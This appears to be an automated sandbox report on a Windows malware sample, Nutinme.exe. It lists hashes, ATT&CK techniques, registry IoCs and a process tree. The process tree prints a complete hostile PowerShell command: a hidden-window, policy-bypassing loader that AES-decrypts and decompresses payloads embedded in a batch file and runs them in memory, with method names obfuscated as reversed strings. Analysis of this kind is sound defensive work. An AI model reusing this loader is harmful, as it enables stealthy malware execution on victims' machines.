7e412d3d7477ac6c9047d42bc2acbda8a2a28b0160d4ba7a6e7e916c640f07ae

General

Target

Nutinme.exe
Size

274KB
MD5

d4203d29b2e6a217009d7c48406f6deb
SHA1

d65f0c2e2ab8a8b3a28d4ec6b91a7e8cd7168f67
SHA256

7e412d3d7477ac6c9047d42bc2acbda8a2a28b0160d4ba7a6e7e916c640f07ae
SHA512

eeb57f268eb44a2cb423410f3ce0c1466f9e16fd4d5490df4ec547cd2ca1c935f0325cf926c0d064b2854c985d19df3954de5ee14c0248d34d31a35fef559d04
SSDEEP

6144:TVoCgTOlxhtaiXhKKdJNzcgpL999eoBw1AjtrDWRTxe3xj8bO5dDtS:TUiLhBXhKsFjBz9e8trDITxOxj8bO0

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2588	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Nutinme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2588	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 2868	2672	Nutinme.exe	30
PID 2672 wrote to memory of 2868	2672	Nutinme.exe	30
PID 2672 wrote to memory of 2868	2672	Nutinme.exe	30
PID 2672 wrote to memory of 2868	2672	Nutinme.exe	30
PID 2868 wrote to memory of 2856	2868	cmd.exe	32
PID 2868 wrote to memory of 2856	2868	cmd.exe	32
PID 2868 wrote to memory of 2856	2868	cmd.exe	32
PID 2868 wrote to memory of 2856	2868	cmd.exe	32
PID 2856 wrote to memory of 2020	2856	net.exe	33
PID 2856 wrote to memory of 2020	2856	net.exe	33
PID 2856 wrote to memory of 2020	2856	net.exe	33
PID 2856 wrote to memory of 2020	2856	net.exe	33
PID 2868 wrote to memory of 2588	2868	cmd.exe	34
PID 2868 wrote to memory of 2588	2868	cmd.exe	34
PID 2868 wrote to memory of 2588	2868	cmd.exe	34
PID 2868 wrote to memory of 2588	2868	cmd.exe	34

C:\Users\Admin\AppData\Local\Temp\Nutinme.exe
"C:\Users\Admin\AppData\Local\Temp\Nutinme.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\Nutinme.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\SysWOW64\net.exe
    net file
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2856
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      System Location Discovery: System Language Discovery
      PID:2020
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNCwayIEKMX1wu1G6Nv1zAaGZ7BzZJSzSBMrPDlUebo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C6PkW5gH2K764u40AVDSDA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $guWQG=New-Object System.IO.MemoryStream(,$param_var); $JgRlM=New-Object System.IO.MemoryStream; $jfych=New-Object System.IO.Compression.GZipStream($guWQG, [IO.Compression.CompressionMode]::Decompress); $jfych.CopyTo($JgRlM); $jfych.Dispose(); $guWQG.Dispose(); $JgRlM.Dispose(); $JgRlM.ToArray();}function execute_function($param_var,$param2_var){ $CpqWe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zuKbL=$CpqWe.EntryPoint; $zuKbL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Nutinme.bat';$oGCvp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Nutinme.bat').Split([Environment]::NewLine);foreach ($PoCbV in $oGCvp) { if ($PoCbV.StartsWith(':: ')) { $FqqAF=$PoCbV.Substring(3); break; }}$payloads_var=[string[]]$FqqAF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Nutinme.bat

Filesize
270KB

MD5
c89cd471198718a96c3adb9f7298a90e

SHA1
d26bef68f50311f75b44d13720b4b07f2e941084

SHA256
49249044131c0c4fea5fcb837d764aaf8997f05105678af296d1a470b91fc640

SHA512
5720b046af3f9ab5158a4d5c43f9683781b33abcd7ef0415cf21fd8b187744f568651b72f9aaf37ee42c3e276b636488e030f1553a60efd1917b2d68153363bf

Download Submit

Analysis

Sharing